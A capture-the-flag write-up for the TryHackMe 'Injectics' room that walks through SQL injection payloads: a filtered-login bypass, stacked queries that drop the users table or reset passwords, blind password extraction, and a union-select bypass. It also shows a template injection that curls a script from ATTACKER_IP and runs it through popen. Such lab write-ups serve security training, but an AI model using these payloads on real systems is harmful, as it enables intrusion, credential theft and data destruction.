Main idea of this room is around SQL injection during UPDATE statements. In particular the edit_leaderboard.php endpoint allows us to DROP the users table. From an html comment you should be aware (see mail.log file) that the users table will be repopulated with default credentials.

login.php is vulnerable to sql injection but is heavily filtered. We can bypass restrictions with the following payload:

username=foo'||1--+&password=foo&function=login

This will give access to the dashboard as user dev (the first one in the users table). We can also log in as admin but we won’t be able to get the flag this way.

username=foo'||1+LIMIT+0,1--+&password=foo&function=login     ---> login as dev
username=foo'||1+LIMIT+1,1--+&password=foo&function=login     ---> login as admin

In order to get the first flag we have to use the admin login endpoint, but that is not vulnerable to SQLi.

Once we have access to the admin dashboard, either as user dev or admin, we can edit the leaderboard and from there we can drop the users table:

POST /edit_leaderboard.php

rank=1&country=USA&gold=1&silver=2&bronze=3;drop+table+users;--+

will execute a query similar to the following:

UPDATE leaderboard set gold=1, silver=2, bronze=3; drop table users;-- everything else ignored

An alternative could be setting password = 'foo' with something like this (but I got it only after completing the room and seeing that the OR keyword is deleted from queries)

POST /edit_leaderboard.php

rank=1&country=USA&gold=1&silver=2&bronze=3; UPDATE users set passwoORrd='foo';--

After a couple of minutes the users table will be re-populated with default credentials that we can now use to login as superadmin@injectics.thm.

Editing our profile ad setting name to {{7*7}}, we see that we have a template injection. Some functions like system or shell_exec are disabled but we can use popen:

fname={{['curl+ATTACKER_IP:8000/s+-o+/tmp/s','r']|sort('popen')|join}}
fname={{['sh+/tmp/s','r']|sort('popen')|join}}

extracting initial passwords one char at a time

Only after getting access to the source code I was able to understand that some keywords are deleted: in particular SELECT and OR. I was not aware of that because my initial payload did not involve the OR keyword.

Keeping this in mind we also have a cool way to extract the initial password from the users table (three characters at a time, or up to 18 characters if using all six ranks available):

rank=1&country=usa&gold=ascii(mid((selSELECTect+group_concat(passwoORrd)+from+users),1,1))&silver=ascii(mid((selSELECTect+group_concat(passwoORrd)+from+users),2,1))&bronze=ascii(mid((selSELECTect+group_concat(passwoORrd)+from+users),3,1))

The capital SELECT and OR will be deleted so we obtain a query like this:

UPDATE leaderbord set gold   = ascii(mid((select+group_concat(password)+from+users),1,1)),
                      silver = ascii(mid((select+group_concat(password)+from+users),2,1)),
                      bronze = ascii(mid((select+group_concat(password)+from+users),3,1)) 
where rank=1;

Or 18 characters at a time with six calls to edit_leaderboard.php:

MariaDB [(none)]> select char(50,51,52,50,115,100,115,102,119,102,50,119,114,50,114,102,44,51);
+-----------------------------------------------------------------------+
| char(50,51,52,50,115,100,115,102,119,102,50,119,114,50,114,102,44,51) |
+-----------------------------------------------------------------------+
| 2342sdsfwf2wr2rf,3                                                    |
+-----------------------------------------------------------------------+

Password for superadmin is left as an exercise to the reader. With some patience we can recover the initial passwords and login without having to drop the users table, or changing the current password, thus being more stealthy!

extracting initial password via union select

Again, having source code and playing a little bit locally we can also extract initial password from the original login:

POST /functions.php HTTP/1.1

username=a'+ununionion+all+select+1,F.1,F.4,4,5,6+FROM+(SELECT+1,2,3,4,5,6+UunionNION+select+*+FROM+users)F+limit+1,1--+&password=foo&function=login

This becomes

'a' union all select 1,F.1,F.4,4,5,6 FROM (SELECT 1,2,3,4,5,6 UNION select * FROM users)F limit 1,1-- 

See https://book.hacktricks.xyz/pentesting-web/sql-injection#bypass-column-names-restriction for an explanation of this query.

Go here https://tryhackme.com/r/room/injectics to play the room!